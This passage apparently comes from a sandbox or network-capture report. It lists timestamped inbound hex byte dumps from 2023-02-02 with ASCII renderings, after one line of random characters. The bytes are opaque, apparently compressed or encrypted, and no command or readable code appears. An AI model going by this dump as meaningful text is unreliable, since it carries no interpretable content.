[M2S4\|3o<K>UCPL>(;6FzB3X1jrZ0K=XJ4Go}v[uZ$\9+!J"'(OC= -z/^N(y8
2023-02-02 07:09:15 UTC	672	IN	Data Raw: 16 a8 0f 09 2a ba 7c fd 78 e5 9f 15 40 e5 17 51 7d 66 c3 53 75 51 c2 72 59 88 03 30 f2 02 25 65 11 95 b3 01 ae ff 40 89 ce 28 07 57 88 b1 44 a9 6f 75 6d 24 f1 f3 36 4a 0c 53 32 df 08 d6 fb 11 25 73 ba 23 73 03 95 5b 50 72 54 86 ff 12 03 52 ed 28 d9 82 28 0b 07 62 9b 55 94 8a 41 16 c3 3b 99 c2 2c 4a 35 a6 da 6b fa 77 4e f0 a3 6b b3 7f 2f 0c f2 c5 0d 25 ef cd 45 65 08 d7 30 47 89 d2 ab ea ad 10 9f 47 ae 8d 3b 95 51 26 18 27 12 d0 66 51 0a bf 40 f7 20 b3 47 5e c2 d8 b9 83 50 be 50 0a 14 da 5b c8 5c 0d 56 94 76 39 8d 8c 03 78 63 88 d2 38 5f 68 e3 41 d6 5a 8d 52 f6 f2 eb fc 0e be 3e a0 a4 fa b7 c3 4a d6 29 c3 a0 24 f4 73 f9 66 60 10 7b 94 92 75 6c 2e 07 58 03 13 25 ed c2 dc 89 33 18 a3 2f 4a ed 25 de b8 0b d4 1a 69 a7 92 d6 8a e0 79 62 eb 28 95 65 f4 5a 14 20 Data Ascii: *\|x@Q}fSuQrY0%e@(WDoum$6JS2%s#s[PrTR((bUA;,J5kwNk/%Ee0GG;Q&'fQ@ G^PP[\Vv9xc8_hAZR>J)$sf`{ul.X%3/J%iyb(eZ
2023-02-02 07:09:15 UTC	679	IN	Data Raw: 27 31 1c 4c 07 f7 a2 65 39 57 16 ce 62 81 7b 7e 10 a6 e6 1d 94 8a d6 b5 6f b2 d9 e7 81 77 09 8f 54 8e 47 1c 0b 54 77 e3 3e 59 77 b7 de 12 b4 d3 0d f7 51 67 61 18 4b 2a 9d 6c dc 87 fc 71 4e 79 9d 26 c9 b8 37 c2 5c 63 1c 70 28 ff dc 97 87 a3 e4 d5 a0 6f 17 b8 a7 6a 72 93 fb c0 eb 15 ee e5 29 3f bf 04 70 bf b3 b8 7f 70 83 45 ef 04 e2 5e c1 1a cd d5 8c f4 59 ec 88 58 0b 65 a8 26 2c 44 94 d7 d5 cc b8 f6 ef e4 63 93 b8 79 87 33 54 f6 19 ac 97 32 d6 83 72 37 73 e6 e0 ed c7 58 2f 8c 31 9b f0 20 d8 2a b9 b5 7e ad ee 62 f2 69 07 ac 95 b5 db 5d ca 50 48 26 d6 81 5f 1c 48 7f 8c e6 19 63 71 52 f9 25 e9 49 cf c7 5a ab 25 33 ca a1 56 26 58 77 82 31 25 64 20 f2 27 ac e7 75 71 9a 4c 61 ea f4 b0 be 1b eb e6 51 8b a6 a8 61 3d 63 fd fb 60 08 b3 b5 8d b5 ee 87 56 73 5f ab 98 Data Ascii: '1Le9Wb{~owTGTw>YwQgaKlqNy&7\cp(ojr)?ppE^YXe&,Dcy3T2r7sX/1 ~bi]PH&_HcqR%IZ%3V&Xw1%d 'uqLaQa=c`Vs_
2023-02-02 07:09:15 UTC	687	IN	Data Raw: e2 04 97 e1 0a 1f 0a 9f 52 45 04 31 85 f7 47 50 8e ab 1e 03 8b ec 8e 8f b8 70 cd f1 12 8e be 8c 0f 2d 9b 28 cc 18 ce 3a e1 ef dc c7 f7 be 03 d2 d6 c4 c7 3c 33 ad 8c 05 7f 4d b4 dd 05 8e db eb 30 dd 12 3d b3 4b 61 fa 26 84 fd 1e 3e f4 51 ec 4b 2e 38 4a 81 8f 5a 5e fa 0a c5 d6 1e 8f 8f dc 66 59 2a 20 37 47 0d 1f 5e 35 19 7b 06 e4 43 ea 17 f9 2c e6 34 70 ef 35 3e f8 d2 bb 68 3b b8 c8 0c 3e ec 69 8f dc 01 88 c1 08 1f 92 16 31 1c c5 7a 03 f1 91 5c ae ce ce 03 c9 e8 e3 23 f2 55 be cc a8 c8 ec e2 23 3c 76 64 66 03 f1 dc c1 07 95 08 83 4b 02 53 65 80 8f 32 5a 4f 47 94 6a 89 c4 2f 27 d8 86 5b 50 4a 98 e3 43 5e 65 1e f9 b7 cb 24 c0 c7 a3 3b ba 10 5f 38 bf b2 94 68 ca be 61 c0 26 f0 d9 8b 40 01 76 24 81 b6 0d d9 0b 73 48 38 99 d2 c9 41 97 bd 64 35 97 25 54 65 5d 16 Data Ascii: RE1GPp-(:<3M0=Ka&>QK.8JZ^fY* 7G^5{C,4p5>h;>i1z\#U#<vdfKSe2ZOGj/'[PJC^e$;_8ha&@v$sH8Ad5%Te]
2023-02-02 07:09:15 UTC	695	IN	Data Raw: 79 3c 7c 3c 0a 78 04 1a c7 3b 70 17 f1 28 15 64 6a 55 92 cf 90 f1 64 96 16 96 43 3a 81 29 03 53 a6 57 5a b9 60 00 cc e1 91 d5 48 ae eb eb 23 9f f9 f9 28 a3 de 75 f5 ae d3 5b 6b 7d 02 af bc 32 88 23 94 a1 44 3a 7a a6 da 3e 8c a9 1c 99 77 18 89 a0 57 6d 4f 1a 10 4a 57 bc 60 f0 96 36 b5 4a 01 10 55 94 21 dc 82 04 a2 a4 e2 08 80 92 6a 17 67 ce 97 2a 7c 14 58 5a 01 94 25 f7 c0 a9 4f e3 7a 34 08 f0 08 52 9f a9 b5 4b 52 79 86 ec 7f 6a bd d6 fa 0c 5d 36 94 e8 23 c9 f3 b7 f6 7d 5e e6 2e db 53 46 e7 0a db 53 c5 4a 3a 43 07 32 a0 40 64 ad a0 4e cd 30 83 01 1a 58 37 c0 10 33 db f8 5a 8f 22 b0 94 30 92 ca 48 b3 1c 82 12 28 7b d9 5d ad 36 70 6b bc 24 f7 28 d9 f4 5e e4 5c fd 1e f9 f4 6d e4 12 af 50 62 e1 db 93 ef a5 0e 0f d5 34 bd d7 68 54 5f 6a 54 5f 4a 50 8d e4 cb 24 Data Ascii: y<\|<x;p(djUdC:)SWZ`H#(u[k}2#D:z>wWmOJW`6JU!jg*\|XZ%Oz4RKRyj]6#}^.SFSJ:C2@dN0X73Z"0H({]6pk$(^\mPb4hT_jT_JP$
2023-02-02 07:09:15 UTC	703	IN	Data Raw: a3 76 20 09 08 23 6b 00 13 1e b5 24 b9 a9 93 40 99 95 0c ab 89 eb 4c 72 52 24 3e 3d 70 9e 31 f6 4c 66 54 70 27 32 a3 12 a7 b9 7f e4 a0 67 8c 73 96 f4 f8 80 82 dd 79 36 87 b1 ce 33 03 fa 33 10 a8 e3 d3 18 4a e1 38 23 0e d6 d6 24 d4 16 30 5f f5 40 66 2e ea 88 92 e3 9a 92 b3 f1 41 ce ec c9 4d f6 69 ca a4 31 ac 32 c5 34 c6 14 c3 00 54 dc 77 6b 12 e8 0d 56 c1 26 7d 0b 96 69 38 db 4d 1a 8a 9a db 52 a5 56 fb 52 a4 b2 a2 36 93 17 18 5d df 2d 0d d0 3a 59 7c 75 ab 76 71 cc 3a ce 63 30 78 33 53 eb fc 26 8a 9e 7a 0c fc 56 96 60 66 71 9e ad ea 6a 0d eb d1 9b 02 85 23 8f 01 4a 96 04 3b 7d fe 34 3a a0 77 b1 85 95 c7 21 5b 34 6f 8f c5 b3 e5 7b f3 b8 75 33 ad 8b 62 eb f7 e7 1c 7b 8f 6a ed 3f 86 15 98 0f 31 d1 63 71 05 03 27 b6 53 ea 68 62 43 48 00 ef f1 d8 4c 71 c8 23 2d Data Ascii: v #k$@LrR$>=p1LfTp'2gsy633J8#$0_@f.AMi124TwkV&}i8MRVR6]-:Y\|uvq:c0x3S&zV`fqj#J;}4:w![4o{u3b{j?1cq'ShbCHLq#-
2023-02-02 07:09:15 UTC	711	IN	Data Raw: 4f 63 e2 1c df 4e c6 1b dc b0 3a 7d 0e 0f 18 4c 87 b7 36 7d 40 eb e1 b6 1e 62 7f 9e 57 ce 39 72 35 4d 76 1b b0 82 8c c4 12 4c 7a 38 18 80 38 04 cd cd cc ad 7b f2 1b f5 7d f1 d3 23 3d 67 fa 90 bd bb 17 71 64 9a a9 1c 6b 7c fa dc 0f fd 91 b2 64 3d 6a e4 ec ad 77 6c 1a 87 48 ff 86 7c 3a 03 51 be 22 8e d0 0f 60 45 59 ea 85 e3 3d 0c a9 48 57 2d 28 cc 81 4c 4e a2 2e e3 93 4e 9f e3 0c 41 eb 80 6a 02 2d da 61 8e 84 9c de cb 73 9c 84 18 e4 0e 27 15 82 69 ce f4 51 95 bb f9 ad 14 9a ec 3a 92 ba b5 cd 8c d3 a2 e9 a3 96 1f 4f 9f 4d a2 80 de 40 be 90 f3 0d 82 1e 76 41 35 03 c7 5c 50 06 e0 fc 76 1a 93 da e9 13 aa da 9b e6 6c 6b 1a 33 d6 69 ce d1 a6 31 97 9c 3e c5 fb d0 b4 81 e3 a2 d8 69 2e 48 4e ef d3 2a dd c7 9d 50 39 71 90 80 cb 90 d3 50 b2 4c 9f 61 d9 4f e9 47 a0 85 Data Ascii: OcN:}L6}@bW9r5MvLz88{}#=gqdk\|d=jwlH\|:Q"`EY=HW-(LN.NAj-as'iQ:OM@vA5\Pvlk3i1>i.HN*P9qPLaOG
2023-02-02 07:09:15 UTC	719	IN	Data Raw: 2f 77 a4 1d 7a 24 18 da 7f 8b 49 7e ed d6 a1 ec 02 22 44 73 9b e1 2f ed 31 1d fe 22 3f 22 40 7a c7 ee 1e 0c ed bf e7 10 df 0f 38 fb 6d 24 47 3f bc ec 7f a0 c3 62 aa 15 e3 92 14 56 f6 3f 0c 72 02 94 fd d6 e0 d2 0f 17 fb 1f db 97 57 3f 60 ec 7f a2 34 78 e6 68 f0 4c 6c 00 64 ff 53 79 bf db e5 1d a9 6d 60 64 83 3e 1b a0 b2 ff 59 18 07 92 fd 36 b8 bc 1f 36 f6 bf 88 3c 49 40 b1 ff a5 1d 16 0e f6 db 00 d3 7e 00 d8 ff 5a 9b 81 9f bb 46 4a 7e 45 24 f2 81 2a 3b b7 01 28 38 50 eb 92 0c c0 c0 01 86 25 56 d7 c8 2f 91 26 d3 c0 bb 81 44 70 52 03 00 6f a0 35 8c 03 bc 81 36 83 55 ad bd f8 22 07 79 03 ed 36 08 6a 00 d0 0d 24 f5 85 a0 c9 4c 2f 43 db ec 06 80 dd c0 de 30 3f 20 37 b0 2f 8c 43 b9 81 fd b5 c9 1d 3a f5 95 13 87 73 03 07 ec f4 e0 dc c0 c1 d0 1c d2 0d d8 c0 d2 01 Data Ascii: /wz$I~"Ds/1"?"@z8m$G?bV?rW?`4xhLldSym`d>Y66<I@~ZFJ~E$*;(8P%V/&DpRo56U"y6j$L/C0? 7/C:s
2023-02-02 07:09:15 UTC	726	IN	Data Raw: 91 95 3a a7 60 f9 54 39 3a bf 63 0a 8c 4f dd 0c 26 de 76 1f 0e 27 de b2 70 e1 14 5c 9f ba 55 49 a2 29 e8 3e 75 3b 5c c4 f3 5a 64 11 cf 6b 92 08 e0 4f dd 89 ce 45 b8 16 9d 8b 70 4d 94 58 dc 0b 0f 7b 34 72 d8 a3 92 03 b0 9f ba 1f 65 dd d1 e8 39 c8 fd 01 fa 53 0f c2 1c 3a 23 39 74 4a 0e e0 7f ea 61 34 87 ce 68 0e 9d a2 c4 e2 51 98 c3 c9 48 0e 27 25 07 7c c3 d4 e3 68 0e 27 a3 39 9c 14 25 16 4f 82 7b 84 9b 98 7a 5a 51 bc f8 88 29 9b 6c 39 85 13 98 72 0b e5 97 3c 46 5c 48 c4 e8 5e 84 f7 15 d8 4f bd 0c e3 a0 7d 2a 40 fb 14 68 9f 7a ed 76 be 56 ee 51 c5 a8 09 23 a2 14 8b e9 2a 6d fe d6 e9 01 d3 30 7d ba d6 1e c0 69 28 3e 1d 73 1d 66 3d 97 f7 58 27 a7 0b 8a 02 6d d3 41 7d cc e5 85 75 cc e9 39 ff ff 21 70 e1 6f f4 4d f8 ff 99 48 0e c6 11 13 15 08 9c c6 21 4c b7 56 Data Ascii: :`T9:cO&v'p\UI)>u;\ZdkOEpMX{4re9S:#9tJa4hQH'%\|h'9%O{zZQ)l9r<F\H^O}@hzvVQ#m0}i(>sf=X'mA}u9!poMH!LV
2023-02-02 07:09:15 UTC	734	IN	Data Raw: 5c 3c e9 53 35 46 52 35 aa 1e 24 17 d9 cf a9 d1 a5 72 52 60 5c 3c ed 53 35 45 52 35 a9 1e 3e 17 19 53 d3 e4 52 39 29 a0 2e 9e f3 a9 9a 23 a9 b4 fb a3 08 ac 8b e7 9b 83 55 ad 3e 15 69 22 58 d7 ea 53 b5 01 db c5 0b 6e af 4e 87 11 af 81 e0 c5 8b 61 ea f7 2a 52 bf a7 36 d0 bc 78 c9 ed c9 e8 53 3b 0d 58 2f 5e 0e 53 67 2b 52 67 d5 06 d4 17 bb dc ae 7d 3e b5 d3 00 fd 62 4f 98 fa b3 8a d4 9f a9 0d 8e a0 78 4d 53 7f e6 53 3b 0d 2e a0 78 5d 17 84 fe ad a1 51 03 22 44 d3 17 e6 7b b7 22 df bb 6a 83 8b 28 a6 dc 8e 99 3e 5f a7 c1 5f 14 47 c3 d4 0b 15 a9 17 d4 06 37 52 4c 6b ea 05 9f da 69 70 28 c5 cc bb c1 ec a9 ae 2f 12 96 f2 b2 0f 5c f2 81 3e 17 88 25 e2 92 84 74 73 ea f0 9e 47 1c 9e 85 45 85 be e0 eb b2 45 1c 50 b1 e8 be 10 82 7a 85 86 44 8c ae 54 99 1c a7 54 2c 6b Data Ascii: \<S5FR5$rR`\<S5ER5>SR9).#U>i"XSnNa*R6xS;X/^Sg+Rg}>bOxMSS;.x]Q"D{"j(>__G7RLkip(/\>%tsGEEPzDTT,k
2023-02-02 07:09:15 UTC	742	IN	Data Raw: 95 35 ed d6 68 6c a3 83 8e 6d a3 63 db 4e c7 5a b1 6d db b6 6d db b6 6d 74 6c 75 dc 49 be 3c cf f3 ee 77 bf fb 3b fb d7 39 67 fd 58 d7 ac 59 55 e3 be e7 b8 47 8d aa 02 58 e9 13 38 7f 91 65 f4 37 59 04 a6 fa 0e 04 06 00 80 35 81 95 8d 33 c0 e8 af e8 66 8e 5f 99 bb 58 13 d8 ea 1b 5a e8 9b 7c 25 af 04 00 10 98 3a 3a da 3a 70 d2 d3 bb b8 b8 d0 59 03 5c 1c 6d ac 1d 6c 8c 1d e9 0c 6d ac e8 cd 1d be 1a ff e0 1a db d8 7f e1 d8 03 08 8c 00 8e fa 66 5f db 0b 10 10 22 30 10 e4 df 72 00 06 06 01 f9 52 06 ec bf f6 26 e0 2f 65 40 7f 29 4f e2 6b 57 02 02 82 fb 7a 02 fa af d7 ff 1a 02 f2 d7 f3 bf 3a 80 ff ee f8 97 b6 fe da 72 fe 4b bf 40 ff 1e fe 85 0f 04 04 0f 0c 04 fe cf 70 10 e0 ff 88 f5 df 71 ff 7e ff 5f 38 ff ac 03 70 61 11 41 15 b1 ff 08 fb 1f 59 fe 35 fa 5f 98 20 Data Ascii: 5hlmcNZmmmtluI<w;9gXYUGX8e7Y53f_XZ\|%:::pY\mlmf_"0rR&/e@)OkWz:rK@pq~_8paAY5_
2023-02-02 07:09:15 UTC	750	IN	Data Raw: 0b 95 e4 84 86 b6 79 14 a8 4b 67 76 d6 31 e9 65 f0 77 ac b1 77 22 9d 87 ba 0e 24 dc 76 80 22 19 41 12 b3 3e 57 9b 61 9c b6 a0 35 4b b7 57 02 90 8a da 41 94 68 04 bb ae 7e 81 fa 4b 81 3b 17 33 3e 39 a6 aa f2 a4 f5 39 52 d7 af c7 0e 48 ee 66 09 2a 9f 61 35 b3 d5 ed 53 a4 d4 db e3 48 91 e5 e9 f9 b3 7d 42 86 59 94 6e be 46 c9 3c f3 f0 21 29 17 dd 45 76 70 a9 dc c2 53 e6 01 52 87 54 dc c9 67 a8 a1 96 7c b6 09 e7 99 83 fc 7a 0d 26 e5 a3 72 09 73 23 d1 de 22 ff 96 13 7d f9 27 3a e5 6e 64 9c 1e f1 59 42 64 b9 6e 04 48 a4 70 58 6d 2e b8 02 d5 c3 76 12 73 89 76 3e a1 90 4c cf ec 79 d3 21 8f bc 30 34 e4 bb cc 20 5e cf a0 68 5a 78 cc c3 c5 09 1d 13 43 41 e5 3e 8b e3 00 67 a7 6a 2a 39 97 c0 59 94 c6 09 73 83 9f b9 53 58 12 df d3 d9 55 2f 59 42 c3 a3 e6 2c b5 95 32 5d Data Ascii: yKgv1eww"$v"A>Wa5KWAh~K;3>99RHfa5SH}BYnF<!)EvpSRTg\|z&rs#"}':ndYBdnHpXm.vsv>Ly!04 ^hZxCA>gj9YsSXU/YB,2]
2023-02-02 07:09:15 UTC	758	IN	Data Raw: 61 e4 06 f6 9d 66 b0 5a 55 45 78 b8 ef 25 a7 d9 3e 12 23 9c 47 9a 5b 66 8a 16 94 64 88 8e ab 49 b2 49 41 92 e3 a1 43 48 53 39 b2 03 58 3f ab c3 32 54 90 69 5a 8c 08 62 07 54 75 3c 35 81 fa f7 91 fa cb 1e 53 3f 7e 2d 96 b7 7f 49 6a 3a 1a 73 c8 a6 db c3 8c 3c db a3 6e 42 e9 81 75 ee 49 80 61 98 94 fb 32 17 52 5a 4a 67 dc 8e f0 15 44 b8 40 b9 45 55 28 c5 89 8a 53 86 af b9 62 3c 9e e6 01 66 e8 37 7c 38 34 d9 fb a9 f7 0f 8b c0 d4 4a 82 a8 b7 f6 71 a8 33 aa 84 23 5b 04 e1 10 2f ca 17 07 83 29 7a c4 c8 4d a6 a1 e4 36 11 66 ce 6e f7 e8 38 fd f8 d1 37 69 65 82 13 a8 0b 0a 94 82 a0 f8 6f 50 0b ba 11 8d d7 c7 da 53 85 b1 0d a7 b9 b5 24 a2 49 05 90 18 2f 77 51 1b 86 93 a3 40 ad 5d c1 b0 ec d6 4d 68 04 79 58 40 0d 2d ad 3a db 86 2e 4f c5 d0 24 82 77 bc 5b 91 42 84 b3 Data Ascii: afZUEx%>#G[fdIIACHS9X?2TiZbTu<5S?~-Ij:s<nBuIa2RZJgD@EU(Sb<f7\|84Jq3#[/)zM6fn87ieoPS$I/wQ@]MhyX@-:.O$w[B
2023-02-02 07:09:15 UTC	765	IN	Data Raw: e1 89 08 d9 09 b8 b9 e3 55 c1 e5 ea cd 44 c5 0e ba 8f 6a 5b 5a 82 7a cf 85 b7 87 52 5b 24 e5 d4 7f 99 53 32 31 0f 61 60 f5 32 f0 09 51 fc 81 47 f8 70 e7 eb 14 4b fe 64 3f ca c6 d0 c0 6b a5 4b b0 2d 74 ed 2d a4 9f 76 21 59 af c7 2a 6b 39 26 e5 91 97 5b c3 f1 f9 2b 21 75 81 02 c1 9e c6 8a d0 48 90 c1 87 03 9a cd b1 a8 9f 7b 09 2d a1 26 6a a8 43 d4 4a d9 99 33 78 71 61 d6 e8 a8 fd 30 0c 47 05 77 19 87 46 34 2d f5 75 7d fd d1 60 58 41 4f f1 e1 b1 2a 7d 52 8c a6 48 38 6d a6 81 e8 0f f0 8e cd 42 c8 21 d4 05 c9 bb b0 51 53 b0 74 39 49 fd f1 e0 21 99 9b 21 aa 8d 36 d3 5d c2 fa 11 0e 5b 0c 94 8b d2 42 d8 3f bb b1 7d f3 2f 55 53 c4 41 e7 b6 ee 57 6a 9b c2 63 2e 87 c9 6f 5f 77 98 c8 dc 1a ca b5 c0 15 38 0e 69 f0 95 80 04 eb 23 68 24 e5 ef 33 db d2 0e 1b 0e 67 78 56 Data Ascii: UDj[ZzR[$S21a`2QGpKd?kK-t-v!Yk9&[+!uH{-&jCJ3xqa0GwF4-u}`XAO}RH8mB!QSt9I!!6][B?}/USAWjc.o_w8i#h$3gxV
2023-02-02 07:09:15 UTC	773	IN	Data Raw: 47 f2 61 b0 a5 d1 85 b4 69 58 70 1d 59 60 e8 e3 a5 da 7b b0 b6 82 38 a8 92 e0 b4 d7 0a 38 c7 7d 89 9b 36 f9 56 fe b8 5f 57 7a 04 5d 7d a4 33 e7 44 3f fd 41 95 53 5a 06 a0 07 fa c6 54 2d a5 42 13 49 36 73 3c 37 2c ec e1 fe d6 a4 c8 09 69 49 67 a5 ce 0e 8a 75 18 13 33 f9 81 2b f1 9b 3f d6 10 54 4b 37 e0 fc f7 a2 3f 88 b4 8a a2 80 89 a2 c6 cf 67 61 2d 37 50 b3 51 6c 1e dc 42 45 9b 79 bc d6 19 c8 d8 a7 64 44 58 ca a3 c1 b1 bd 84 e7 c5 5b ac be ce 69 c2 99 3b bb 5f c7 8a c8 96 be 63 0a 56 13 5e 3c 15 46 5d 73 7d fd 06 c7 e8 eb 97 29 12 37 bc 8b d4 f9 80 ef cf b5 9f 69 05 35 14 2b 8f bc 39 b3 1c ec 08 7a 67 9b 20 63 af e8 f4 f5 ed 66 3e 9d c9 7a 5c 92 55 19 89 d1 85 6e 72 69 00 91 66 d3 c6 26 fb 04 aa 50 f1 bc 56 40 3f d3 d8 81 8d 4c e7 55 04 62 74 92 40 7d e7 Data Ascii: GaiXpY`{88}6V_Wz]}3D?ASZT-BI6s<7,iIgu3+?TK7?ga-7PQlBEydDX[i;_cV^<F]s})7i5+9zg cf>z\Unrif&PV@?LUbt@}
2023-02-02 07:09:15 UTC	781	IN	Data Raw: 4b 3d 8f f5 4c d3 0b 61 11 5b fb 4f 59 47 19 8f 4f cd c7 72 8f 3e c9 49 16 d0 7b 31 22 e2 38 a1 b2 ab 71 c3 b3 56 59 67 de 1c 1a 52 17 6a 49 d9 72 20 c5 3c 1d 2e c8 6a 99 72 42 3b 65 72 68 8a ce 5f 54 ad 9f 18 81 4b 4c 28 fb 9c 00 8d 95 96 4b 58 f3 50 e7 d2 a4 63 f5 91 1a e3 8d 1b 22 a3 c5 83 71 68 03 ff 5b e7 e7 77 22 74 da 32 e0 28 f7 02 e9 55 2d 27 23 a3 a3 d2 4e b4 fa 1a e2 7e fa 28 26 b3 87 ae 28 e5 9d 63 18 e9 0c f5 52 16 ae 74 7c 13 ea d8 ce fc 4d 92 b0 dd a2 b8 db e4 09 51 31 92 ae ff 4f 55 07 a4 ab 8a 87 ce 5b 11 33 00 3c c6 6d ce ac f9 36 cb e8 b6 da 6b 4d ea 6c fa 8a 44 b0 9c d6 cb 5b c6 d4 7f 6a d6 aa 01 3a f0 35 fa 44 07 2b 91 7a 4e c3 5e 9c 12 0c f7 74 f2 57 f7 15 6c 44 d7 71 64 fe 38 f6 a7 08 be a9 5f da da 48 55 c8 76 23 34 e2 8c 0a a9 8f Data Ascii: K=La[OYGOr>I{1"8qVYgRjIr <.jrB;erh_TKL(KXPc"qh[w"t2(U-'#N~(&(cRt\|MQ1OU[3<m6kMlD[j:5D+zN^tWlDqd8_HUv#4
2023-02-02 07:09:15 UTC	789	IN	Data Raw: 72 e1 42 a7 c0 ef 20 e7 6b 9a e0 38 dd 54 00 a9 7d 6c 2e 54 c0 c3 06 37 de eb ec 2c 2d 42 a6 a3 19 74 b8 b9 ec 02 29 6a 77 1d f1 ee a8 2d 88 32 e5 fc 5a 45 06 79 de f6 c1 f4 b3 cc a8 e0 95 66 34 9c bc 9f 75 4a 29 bb c4 7f 53 4b a9 b4 06 bd e6 35 4e 9b 6b da 8f 30 28 2f 9b ff bc 69 45 f7 2d 3d f9 f0 98 39 70 a6 62 54 df 1f c1 4e e4 27 71 4c 19 38 2d 50 dc 0b 71 f6 5a 6d 0f a2 43 a8 39 41 d4 c7 d7 57 0b 7c 2f de 5e fe 4b 22 67 15 20 fa 59 9d 33 99 6c d5 39 b5 9d df 1b c6 d2 8d 2b f0 74 8d 0b 31 7f 48 4d 49 d9 04 77 55 69 d7 ef e4 29 bd 8a 0a 6f 2f 6f 59 2a ce 60 58 9a 1b 97 3b 79 33 30 96 9b 04 e7 b0 39 56 08 bd 84 9c 86 9b 0f 55 7d db 5d f6 20 d7 fc cf 3e ca cb d8 4a 0e 7a 66 52 0a 83 21 6a cf 94 31 49 85 79 8a 79 4f b9 9b 2f d7 bc 08 5a e7 5f 09 88 a5 fc Data Ascii: rB k8T}l.T7,-Bt)jw-2ZEyf4uJ)SK5Nk0(/iE-=9pbTN'qL8-PqZmC9AW\|/^K"g Y3l9+t1HMIwUi)o/oY*`X;y309VU}] >JzfR!j1IyyO/Z_
2023-02-02 07:09:15 UTC	797	IN	Data Raw: 55 b6 e2 f3 58 9b ea a5 ef 48 7b e9 27 85 60 9e 65 31 e1 47 88 6b d4 2e fa f8 fa fb 04 4a 2e 83 b4 32 de 2f 6e 67 1e 85 ca f0 43 85 f8 b1 13 03 97 cc 4c ab 5e c7 6c 5d 85 5b a1 d9 69 fc a9 54 e2 c8 a1 8b 8f c1 62 17 45 b0 84 39 20 52 4b 31 bc 3f 5e b7 4d f4 13 ec 08 cd c2 a5 e0 5a 1d b9 86 c0 57 82 db d6 e6 40 9c 98 4f e8 54 e3 8a 1d 5e c1 00 f4 0a 29 d2 f2 2d e5 d9 70 76 85 a9 24 e7 5b db 5d 02 22 08 f6 4e 4c f1 2b 5e 82 ed 09 34 6d e0 dd f5 37 b3 39 c9 42 93 7c 06 42 95 ec 2f e6 ec 5a 1a dd b5 d8 9f 4f 0f 0b a3 30 23 4f 04 55 5d db 2f b7 2c 5c 59 4b 6e 36 ce a0 ac 10 2e 7d bb 6f ca 97 b4 da a2 fd 86 72 05 ca 39 80 eb d6 82 31 07 5a 78 d8 3b ef 83 be 74 28 12 1f 1b 93 45 72 17 38 07 72 2a b3 c3 b7 e1 bc 06 96 84 aa b0 02 d5 a2 a3 04 cd f1 dd e5 6c a1 d4 Data Ascii: UXH{'`e1Gk.J.2/ngCL^l][iTbE9 RK1?^MZW@OT^)-pv$[]"NL+^4m79B\|B/ZO0#OU]/,\YKn6.}or91Zx;t(Er8r*l
2023-02-02 07:09:15 UTC	804	IN	Data Raw: c7 bd 6d fc 85 6c 16 7b da bd 8a 58 c9 69 f3 27 12 c4 41 38 ff 96 03 2e 19 7e 9a ae 1e f5 f8 36 93 56 ee 78 e8 d9 b0 33 fe cb 7e c3 db c5 48 32 8d cc 4f c9 75 12 5a 3e ab a7 8a 2b 16 a2 00 48 7d a9 d5 d3 18 ea 0e b5 bc 38 db ff 58 a0 76 2d d2 f4 fc ed 03 de 23 46 99 8f 41 e7 37 da 5c 98 c5 ec a8 2e a2 0c f0 8c 36 0e c8 2e 8f 6e f7 63 1d be ee ae f6 eb a5 6d 02 f3 53 b8 cb 93 7e f2 55 4c 83 2b 2a b0 88 a4 09 e6 4b 89 9c ab 92 69 f9 a0 29 fa 33 65 3d 1f 55 74 74 b9 10 d5 0d fd 83 34 bc 57 58 6c c3 54 f6 2f bf 86 cf 7f 9e 1a 91 42 1a fb 5d f9 cd 87 a5 96 82 fd 3e 9f c7 0f 77 f5 39 22 19 bd 88 97 2c e7 8a 34 7a e5 92 95 01 e4 da 5e 4d 35 32 60 46 10 19 80 32 61 c9 12 21 b7 28 08 c9 54 d3 1c f4 54 41 b6 5a 20 5b 89 94 cb 4b aa 8e e3 ad 2c 6c 3f e0 75 c8 d0 9a Data Ascii: ml{Xi'A8.~6Vx3~H2OuZ>+H}8Xv-#FA7\.6.ncmS~UL+*Ki)3e=Utt4WXlT/B]>w9",4z^M52`F2a!(TTAZ [K,l?u
2023-02-02 07:09:15 UTC	812	IN	Data Raw: ac 61 af 61 73 a0 16 46 b5 f5 3c 66 b8 92 2e c0 1b 02 1b ac 15 ef fe 01 4e 38 74 ed f8 19 87 ae 00 c3 14 79 7f 3a 45 5d 20 94 24 8d 65 c9 8d 70 9d 23 74 3d 4c 85 f5 29 68 37 86 28 23 3a ad 09 96 90 3d ff 94 11 2d 7b a3 c1 b4 63 4f 1b a8 d6 c5 b0 55 e5 56 bf 37 aa d3 5e b1 34 27 36 34 2a ae 12 4f be f5 0a ef e2 35 21 17 4e 3c d4 c2 02 6e de f9 d2 24 b9 a2 51 15 05 c2 5e 1d d3 12 79 30 5d a3 fb 1d c2 d7 0f dc 78 0d a8 b0 db 26 69 e1 0f b7 54 b1 2f 0f b1 03 8f 63 c5 82 32 05 7b 61 b8 f7 b3 f6 ed ff 54 b8 fd a7 c1 ab 4c e7 2a eb f5 f0 b4 20 46 8c 2f 0d 31 67 cd 4f 84 14 f3 9c fd 56 1f ac a1 e4 39 82 2c 81 fa 30 fd c0 68 4c 00 0d 97 5f 85 25 a8 9a 9e fe 3d 2b da c4 f3 91 0c ee 62 45 17 70 35 0e 14 91 ce ca 3d 83 a5 2f b2 12 81 aa 5c c5 93 6a 7e 64 b2 7e 28 f9 Data Ascii: aasF<f.N8ty:E] $ep#t=L)h7(#:=-{cOUV7^4'64O5!N<n$Q^y0]x&iT/c2{aTL F/1gOV9,0hL_%=+bEp5=/\j~d~(
2023-02-02 07:09:15 UTC	820	IN	Data Raw: 72 42 a3 15 b2 f4 ef 33 1c 7c 5c 56 f0 6d 22 63 4f 93 02 e2 83 24 0e 86 cd 25 27 69 7c df 21 4e da d7 58 7f 9d 87 04 06 0e 92 5d c8 c7 f9 46 fc 96 9e 89 c8 b0 7d 11 17 53 da cd 0d 5b b3 48 0e f9 40 12 19 ec 09 7c dd 49 d7 17 5f 47 4b ac e3 c5 b0 0b 15 66 11 bb 72 58 ca 6f 86 3d 0f 5a 9f 21 fc e0 78 37 32 5b f0 42 c2 74 63 66 15 94 10 47 19 e1 0d b3 7e 20 ca eb 1a 9a 44 e9 66 37 94 e2 4c bf 0f 85 c4 0c 10 50 bb b3 19 26 23 b6 be e8 68 f4 57 c3 a9 59 91 b1 5a 0b 29 96 41 d1 a5 16 4e 4e 9d 1c 50 5b d7 c9 08 50 9d 20 0e 73 0b 6f 5a 2c 56 86 1a da a8 b2 e6 98 4b 71 46 73 08 99 0e 99 9e 5b 95 bd d7 f7 a4 20 2c 0b 88 36 02 68 e2 b7 3e 78 4f 7a b2 9b bb fe 5f cd fd 33 db dd b1 62 c1 9c a1 6b 08 